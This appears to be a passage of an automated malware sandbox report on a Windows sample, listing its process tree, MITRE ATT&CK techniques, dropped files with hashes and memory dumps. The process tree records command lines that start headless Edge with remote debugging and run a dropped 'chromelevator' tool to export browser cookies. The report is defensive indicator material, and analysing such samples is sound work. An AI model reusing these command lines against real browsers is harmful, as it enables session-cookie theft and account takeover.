        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=5340,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=5336 /prefetch:14
        6⤵
        
        PID:3832
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=5192,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=5368 /prefetch:14
        6⤵
        
        PID:4568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --headless=new --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --disable-gpu --disable-logging
        5⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:4244
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7fffb171f208,0x7fffb171f214,0x7fffb171f220
        6⤵
        
        PID:4700
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=2612,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2608 /prefetch:11
        6⤵
        
        PID:1100
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2580,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2572 /prefetch:2
        6⤵
        
        PID:1488
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=2860,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3028 /prefetch:13
        6⤵
        
        PID:3692
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3352,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3348 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5444
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3368,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3356 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:3704
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=4872,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3968 /prefetch:14
        6⤵
        
        PID:5448
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=4940,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=4884 /prefetch:14
        6⤵
        
        PID:5604
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=5788,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=5784 /prefetch:14
        6⤵
        
        PID:4488
      - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=5884,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=5808 /prefetch:14
        6⤵
        
        PID:3188
      - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=5884,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=5808 /prefetch:14
        6⤵
        
        PID:4760
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=5000,i,8614877664446537272,13589444853549547573,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=4968 /prefetch:14
        6⤵
        
        PID:1036
        
        C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        7⤵
        
        PID:764
    - - C:\Users\Admin\AppData\Local\Temp\chromelevator_temp\750434668da74bcd8d0a92aa99de2b58\chromelevator.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chromelevator_temp\750434668da74bcd8d0a92aa99de2b58\chromelevator.exe" chrome --output-path "C:\Users\Admin\AppData\Local\Temp\chromelevator_2c5b486dd901430b86216486eeff6cae"
        5⤵
        Executes dropped EXE
        
        PID:3128
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:3468

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:3496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1612

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:3636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Defense Evasion

Modify Authentication Process

T1556

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 b11fff94899c80887533fa7793a432c572d915cd6dcb670e8a702067f417b52e
MD5 c83eaf35b507b735bf8dbadfb0654b35
SHA1 06b2c75327d91681cc986c924ebdedfb89e10f63
SHA512 915333d62206a5845b746c391ee1225e87ea7b91ab8ff5f0f04207752a02cc5c5fa27497816fba5ef6df6f8131ce32a42f0feb23d9cdc45d8ba8acbff4541bc0
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 74dc954dfc6d9db4edc8b52d13366caca10ac5a1b4791c19a94311a334657cae
MD5 59409efe8cf6cd6f2d2d2cc8eadef39a
SHA1 a23cf2ca12be8cafaa39ccf5a6bcd5353bbccbd2
SHA512 8f0dbac1fbeb5ccb1c19e25be36b0754dbc67c836a6fc3dd156a37feede0987b6613bed18ea0a7b1c05f6cf820a63815d607bda35b2dbbaa7dc6793b1797cd9d
SSDEEP 192:FYTXFPUQ7k3Z8PRpA9/HS+WN4bhoV92De8s7pQyIsnA/g4:FYTXF8QXAZcqoH2eZ4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 15KB
SHA256 7d09b9c0149ece7415eed9a97a4d011a4e3027a0a8c8bf343cb2d62aa2e6ae23
MD5 010b779bda450abc1441f08e79857c67
SHA1 47eeb05aa3039489a3c447b596b7d6d3c5bb7fa3
SHA512 e5fd8195376fb9bac4bc3dfb1c9ca5ce7bdad50e5864f9a34957a56fe3c3109c5aa8c0f8eef921d5da97bda0824150a2bd37ad7372227fb3cc9350fc19ea9759
SSDEEP 384:uiJS7pLuLco9GjXc9PkXqKf/pUZNCgVLH2Hf1yDrU/+HGcOHqn:ueS7pLuLhMrc9PkXqKf/pUZNCgVLH2HK
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 228KB
SHA256 fece863c276a7f8f1908db8dfa0d005c4618d54eaf5adbe4025483d21e10ef9e
MD5 879252a7a3e805378f3cc4443e3f7fee
SHA1 47d24bfdf3c8d138ef89bd6ff12119958b457d61
SHA512 5e53ef19401a530cbe4d95a8013c3427430de5ed9d8f5707717df64ca7a22c9e1a6511bee320a875b25f4cef2fa563320e2081e315e4a76a099508a444cb5ed8
SSDEEP 6144:w5IWSqgpotddeMu9bWMExki2KL64sbWRtHqldg+G/MJ:An+oTMP9LYkEsbWqldv
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 117KB
SHA256 a1181ec195356b3d699386b5cf521b56b952c2640b4e5e5bfce66c190f1c5ebc
MD5 5e392e1add3fe7143c53098c59c276f7
SHA1 b86cd184db5ca36998f7845cdfab7805ca228f7b
SHA512 68db4193ed3ff6d4ec2b6f97665562a3ab82ab0855339a653f315c8c4121b82f5d078e1a58146c896c3e8b0b806b8eced7247072960b7bb60998da23ca65c0de
SSDEEP 3072:Y8XGx6i79xko7HWrQvhLK1PTEsbWRtHqldg+G/cTU:rWMExki2KL64sbWRtHqldg+G/MU
MD5 SHA1 SHA512 SSDEEP

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 57ca21529d6a64ba48b0a353037c52c09a0fbe63831896d75c49e541a26b0b7a
MD5 db1454c32599b4a9986f337d7c99e2f1
SHA1 0be95eea75f4748a1fa0d2198a869cb18cca8cc7
SHA512 e6172970ad5635f0b42f3f99d7a02e87952efa17333c974fff88a32d077138e1d98e35e508cf2e4077d234c543f57a254c8ef72741858ffc31c1574e243b56d6
MD5 SHA1 SHA512

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 17KB
SHA256 38c29ea7a9023f680b05d4a2cb5c52d957e9ad0ffbfca3fe9a4f8200bffe1947
MD5 7466114a2d7c3d4da7b2ea4a17e4ff62
SHA1 7e3f2318d76cca4a5593e58f7f0a1da9019aff8d
SHA512 8bd41d40ca0c6409d1b3571f25e29beee172e3c2fc43662c75d556e144c2d25720253640006940230b6ddaeac0c573531465df57c65a3bc3777b60c69a42c2b3
SSDEEP 192:sVxQUnXR4yMqv/K1hl8McxsxicLvTIGLT3Z9GrzLoZ8pxm/Y+WNnYUgYf/HLtNye:sVZnX8kxskcLHTDWM/Sjg6ux+F7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 37KB
SHA256 aea8e2bc5633eb64784a25336a39682e2972cc44e2c5be049ca98401aee8befb
MD5 68ff3ee5cc7a9bde0a6fde2b291713c9
SHA1 ddcb64d33a5b64a43ea3e434d2f917f49032e065
SHA512 999e7d7ec2f54a49361867863219f1e83dca43766e4bc9fe3cd2373f25814fc94937c94ebde07fb17037bc84576f50e87b747b76fb9db9b772e4da3080228370
SSDEEP 768:ZMbC98kh2667pLuLl2YWRWEQQws8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3Y2WHLlJ:ZMbC98kh26SEl2YWRWEQQwsu1jaKY2Wf
MD5 SHA1 SHA512 SSDEEP

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ad28739c-56ce-4a92-b0fd-e957a9148413\index-dir\the-real-index
Size 2KB
SHA256 dfc2e23843fec3a8e58e48e00f4c10d46faa0df24cb4fa3186383db99f34663b
MD5 05c174617a779845f8541ec03c95a6cd
SHA1 41076aa5d4ea69c49c04f11add08c68beeea2272
SHA512 2eeb2d25ec7041bf2ceceafcbccfbfa3e00a5bfb5ad82c592a23e021c90550beab17fee906d448cce1e218c1537d528cca5dc0062059e204b94117d6fb793599
MD5 SHA1 SHA512

Submit Download

the-real-index~RFe58e450.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ad28739c-56ce-4a92-b0fd-e957a9148413\index-dir\the-real-index~RFe58e450.TMP
Size 2KB
SHA256 a7944e4a6e3a094bd66d0d184963d24c024d5b196405b2b5bc2ac21c45694d08
MD5 db0de699734abd945d9096e16fc5a63c
SHA1 2acb7216d9895031b6346dff283f7be92bcde792
SHA512 519013e8c393337acc5ec877a75bc2275cd4d5bf35161a4507b6bc41e62b1e27bf6057ee744e6b941947acecc253e388221d97db8c48e3f2c56ccdfd5225b566
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 22KB
SHA256 76422cefd130311839b1897a30d45a1937eea3dc2b36ff3733da71689581c11e
MD5 c9cc8b213c2196c76d36b304001fe181
SHA1 2cdc2ab42b33be94b58229446c0256917d568a3b
SHA512 502abf4777fbcebbfdf2045865fd0ce29570192dc5a53b6aa84a8f92468b19f3f4e773ea2a972aba2140e5e7d8b1cf7a9cb675dc93a82c5864bb2c2d55def066
SSDEEP 192:Zr/UJaOM+qtaXuWEWo8vilKIC7M3rth9SJGXTfhlTWFKSYNsNpABeiAuOdCPeakZ:g
MD5 SHA1 SHA512 SSDEEP

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 228KB
SHA256 83e183b16b743b98a4a5845fb89f61a6ba9e06ec4d11f059a0273b0cd317843a
MD5 3b059cdb76b2c933070bab21e610038c
SHA1 0cf0ad5fade2c68918f7516b09718f51b5628f2a
SHA512 786f1ea02ebdc9452d746daa6445516f4b3799de188f908756f2a16db88d00947807721c88842ba3dcf47917005d6b7caa17c72d1bdd0efb72ff9c3d7ac8290b
SSDEEP 192:zCNKfT8aRJQnGqqrgenLfUK3NDivIz6DoNCPaWaVIdssXVydue2g2C0:uAfQuJQnPqrgWLfUK3hivmY4Cvp68C
MD5 SHA1 SHA512 SSDEEP

Submit Download

f16fca3b-2905-4e8f-811f-5e851f8f87f4.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\f16fca3b-2905-4e8f-811f-5e851f8f87f4.tmp
Size 108KB
SHA256 a5f47979e3d9dc7c49694d8e9e4dd8e98b45470f93161940daff0b96bfc84a91
MD5 3692b82273b09514a7212381ba0e0098
SHA1 5abf2cbf0bfd404c62a99944e2653830865eb23b
SHA512 d3611f1b0d1c4740eef4bb7d25dffc69de0afabb5f62164acb0d7e947175822cffdadfd607249028c6c6f9f39486e0e7dec0368f225793245ee820f59dcac4d7
SSDEEP 1536:IJcH74ohBGZqW3iPPDuVvpBI/S8tZsA62UYPq:PHSRiPjU1
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 9160e6de21cc2c98b33f277351b60abe93665bebd5b1eb705701f824eb71d6a0
MD5 1767c749baa51da7bb9fdb4645d508d0
SHA1 f84383fc6b4fb1fc1b684a55cb09ca79f0c2b5bc
SHA512 24bf72be8cda96a03fe912665b392c8fe3096a8098d153360354b8fb355fa3c58c16d21ac9f936d3d7e03e1d066b80b06c3bfb6a6fd6ef8e647be4d800077526
SSDEEP 768:h7F5BLv7I5wCPFdV6Zi63UCgyzh3aoFwIkXYZE7rYy/jjfocWc:h7JUV6ZL3JsCE78y/jjND
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 8904d1f7b3c9699a141c7266e6cbc0ad4b18249b91765a6db650181c8d9b9047
MD5 91a527d2eb6ba1755758d2c852323b28
SHA1 e45d21423cc4489a0e4d5739707f94065a46be8a
SHA512 5e979cfdb59c865404aee969ab31db01349e261b1eba21204bd97c1247ff15855a5cb8837f2f30450f7581d340df5b4f3a8fd3df7603b5143663e16b1efe1831
SSDEEP 768:/F5BLv7I5wCPFdV6Zi63UCgXeE63aoFwr7vjuR8iUoccj3:3JUV6ZL3xnwjq8Ncj3
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_p5fbqyu4.trm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p5fbqyu4.trm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

chromelevator.exe

Path C:\Users\Admin\AppData\Local\Temp\chromelevator_temp\f6b3507068a54bd79f0358e103e8dfcd\chromelevator.exe
Size 1.7MB
SHA256 55df08afb0eaa64fb6626943a68f2874edd6e68e1cdebe93ce84655479b49593
MD5 e0cd7f6491d66aaf005489b295cff261
SHA1 08f7c13d17ab691a7f82a4e8c92834e99ff7e78b
SHA512 95e6ac3bcb43d8166e2fc1b01695f223ed8171a17f5bad3b1a9a9971a5d0f202d4da0b7f699508c762918964144f7a5c7b9a36636a9f7f7c431bfe6892393d2f
SSDEEP 49152:W4ZTR8juaoalUm4T6U3qsdvn074MZpZ8z8MqNsx:nLa5UvT6STdvnQ4IyI3Nsx
MD5 SHA1 SHA512 SSDEEP

Submit Download

Finder-Latest.log

Path C:\Users\Admin\AppData\Roaming\Finder-Latest.log
Size 1KB
SHA256 0d418ab2587e2eb137dbdd4e865df2f74ad51a91a229d6cb729a57c46a130c16
MD5 17f34eb49900dedcd486359d362f05e2
SHA1 df5d784f4d52a7509b27aed84b6eb02af0c097a5
SHA512 aa47b0e1d9239ef245d4cf3e8e7a9f55135b4daf7e197059fcb4461ea45dfcbada004503d57f6c0e6ee84aa0c1b43d8aee940754db53d5cd303a27614144d0db
MD5 SHA1 SHA512

Submit Download

Finder-Latest.log

Path C:\Users\Admin\AppData\Roaming\Finder-Latest.log
Size 6KB
SHA256 2563922ac29ed071630372fcf00f616350643ea55c0b19e2b7bae33b93ab3d7f
MD5 c6da58ca5e36e7b5aa7a4b9f39442ca2
SHA1 ec8155f8ffd437258252d6c7fe0bf52857aa2f63
SHA512 d5bd2e116e3750335c59ddf823525ce4d38289c6785e06f5b2a9cc4b4552f9f67e742df4152717a3113f77509179307a4eaacc5207ddff92c966e866c0da67b9
SSDEEP 96:yyk+588p5YNxjz0i/lxNn51Sw5CNn5Bm4mqa0UrU0U85BmUNn57XTvGXTl5q53xG:18VJXNzSXNf1h4zN5jvGj0N7ZNZWHNR3
MD5 SHA1 SHA512 SSDEEP

Submit Download

aoc.bat

Path C:\Users\Admin\aoc.bat
Size 3.8MB
SHA256 1cbbb5dfc0c192f12c73ffef24f957c47bf36fb0c7c3b47076bac0872fac33a1
MD5 41c52462025f68f55ec7c9838017b1f4
SHA1 73a626b568091d04636f572527b2b03df1ad8294
SHA512 80719b305ca25ae70fd75a189495fae95a3e02a13dd07dd123f364cc6146d71ffc37ff8d5a3a9b1c9248075323f55152d24768878f99a6cdac8559b45223af21
SSDEEP 49152:77DW5f3pMsesYyNX+EGpKa6C+9a9YTg7CuJWuIf5WJkYrFVTsz0nE:A
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/5592-18-0x00007FFFDB846000-0x00007FFFDB847000-memory.dmp

Download

memory/5592-46-0x00007FFFDB840000-0x00007FFFDBA49000-memory.dmp

Download

memory/5592-26-0x000001CBA5B50000-0x000001CBA5B6E000-memory.dmp

Download

memory/5592-25-0x000001CBA5D80000-0x000001CBA5DF6000-memory.dmp

Download

memory/5592-24-0x000001CB9C920000-0x000001CB9C930000-memory.dmp

Download

memory/5592-23-0x00007FFFDB840000-0x00007FFFDBA49000-memory.dmp

Download

memory/5592-22-0x000001CB9C920000-0x000001CB9C930000-memory.dmp

Download

memory/5592-21-0x000001CB9C920000-0x000001CB9C930000-memory.dmp

Download

memory/5592-17-0x000001CB9C920000-0x000001CB9C930000-memory.dmp

Download

memory/5592-1-0x000001CB9C920000-0x000001CB9C930000-memory.dmp

Download

memory/5592-16-0x000001CBA5150000-0x000001CBA5656000-memory.dmp

Download

memory/5592-14-0x000001CBA4E80000-0x000001CBA514A000-memory.dmp

Download

memory/5592-13-0x000001CB9CCF0000-0x000001CB9CCF8000-memory.dmp

Download

memory/5592-12-0x000001CB9C920000-0x000001CB9C930000-memory.dmp

Download

memory/5592-10-0x000001CB9C920000-0x000001CB9C930000-memory.dmp

Download

memory/5592-9-0x000001CB9CA60000-0x000001CB9CA82000-memory.dmp

Download

memory/5592-2-0x000001CB9C920000-0x000001CB9C930000-memory.dmp

Download